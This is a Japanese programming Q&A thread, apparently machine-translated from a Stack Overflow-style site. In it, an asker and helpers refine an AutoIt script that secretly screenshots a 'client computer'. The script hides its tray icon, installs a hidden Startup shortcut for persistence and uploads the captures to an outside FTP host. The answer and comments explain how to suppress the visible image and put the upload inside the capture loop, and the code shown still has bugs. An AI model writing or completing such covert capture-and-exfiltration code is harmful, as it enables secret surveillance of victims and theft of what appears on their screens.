2016-05-16 37 views
-1

AutoITを学習して、何かを書き込んで画面をキャプチャして自分のFTPサーバに送ることができます。しかし、実行するたびに、キャプチャし、すぐにクライアントコンピュータ上の画像を表示します。だから、誰かが私がこの間違いを修正するのを助けることができる?本当にありがとう!AutoITでサイレントに画面をキャプチャ

#include <ScreenCapture.au3> 
#include <Inet.au3> 
#include <MsgBoxConstants.au3> 
#include <GUIConstantsEx.au3> 
#include <ButtonConstants.au3> 
#include <File.au3> 
#include <Misc.au3> 
#include <FTPEx.au3> 
#include <ScreenCapture.au3> 

Global $Save, $Num, $Server, $Username, $Password 

$Server = "ftp.drivehq.com" 
$Username = "my_account" 
$Password = "my_password" 

Capturing() 
Func Capturing() 
    AutoItSetOption("TrayIconHide", 1) 

    $Shortcut = FileCreateShortcut(@AutoItExe, @StartupDir & "\" & @ScriptName & ".lnk") 
    FileSetAttrib($Shortcut, "+H") 
    $Save = @MyDocumentsDir & "/" & "Log" & $Num & ".jpg" 
    _FileCreate($Save) 
    $i = 0 
While $i <= 10 

    Local $hBmp 

    ; Capture full screen 
    $hBmp = _ScreenCapture_Capture("") 

    ; Save bitmap to file 
    _ScreenCapture_SaveImage(@MyDocumentsDir & "\GDIPlus_Image.jpg", $hBmp) 

    ShellExecute(@MyDocumentsDir & "\GDIPlus_Image.jpg") 
    Sleep(5000) 

WEnd 
EndFunc 

Func _FTP_FileSend($Server, $Username, $Password, $LocFile, $RemFile) 

$oFTP = _FTP_Open("myftp") 
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password) 

_FTP_FilePut($oConnect, $LocFile, $RemFile) 

_FTP_Close($oFTP) 

EndFunc ;==>_FTP_FileSend 

Func _FTP_CreateDir($DirName) 

$oFTP = _FTP_Open("myftp") 
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password) 

_FTP_DirCreate($oConnect, $DirName) 

_FTP_Close($oFTP) 

EndFunc ;==>_FTP_CreateDir 
+1

ShellExecute(@MyDocumentsDir& "\ GDIPlus_Image.jpg")を削除してスリープするだけです。 – Milos

+0

$ LocFileと$ RemFileが宣言されていません! – Milos

+1

あなたは無限ループ( '$ i'は決して変更されません)を持っていて、あなたのアップロードコマンドは*ループの後*です。 – Stephan

答えて

0

実際には、ファイルをFTPサーバーにアップロードして実行するように指示するわけではありません。

#include <ScreenCapture.au3> 
#include <Inet.au3> 
#include <MsgBoxConstants.au3> 
#include <GUIConstantsEx.au3> 
#include <ButtonConstants.au3> 
#include <File.au3> 
#include <Misc.au3> 
#include <FTPEx.au3> 
#include <ScreenCapture.au3> 

Global $Save, $Num, $Server, $Username, $Password 

$Server = "ftp.drivehq.com" 
$Username = "my_account" 
$Password = "my_password" 

Capturing() 
Func Capturing() 
    AutoItSetOption("TrayIconHide", 1) 

    $Shortcut = FileCreateShortcut(@AutoItExe, @StartupDir & "\" & @ScriptName & ".lnk") 
    FileSetAttrib($Shortcut, "+H") 
    $Save = @MyDocumentsDir & "/" & "Log" & $Num & ".jpg" 
    _FileCreate($Save) 
    $i = 0 
While $i <= 10 

    Local $hBmp 

    ; Capture full screen 
    $hBmp = _ScreenCapture_Capture("") 

    ; Save bitmap to file 
    _ScreenCapture_SaveImage(@MyDocumentsDir & "\GDIPlus_Image.jpg", $hBmp) 

    ShellExecute(@MyDocumentsDir & "\GDIPlus_Image.jpg") ; execute/show the image 
    Sleep(5000) 

    ; where' s the upload code? 
    ; it could be: 
    _FTP_FileSend($Server, $Username, $Password, @MyDocumentsDir & " \GDIPlus_Image.jpg" , "test.jpg") 

WEnd 
EndFunc 

Func _FTP_FileSend($Server, $Username, $Password, $LocFile, $RemFile) 

$oFTP = _FTP_Open("myftp") 
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password) 

_FTP_FilePut($oConnect, $LocFile, $RemFile) 

_FTP_Close($oFTP) 

EndFunc ;==>_FTP_FileSend 

Func _FTP_CreateDir($DirName) 

$oFTP = _FTP_Open("myftp") 
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password) 

_FTP_DirCreate($oConnect, $DirName) 

_FTP_Close($oFTP) 

EndFunc ;==>_FTP_CreateDir 
関連する問題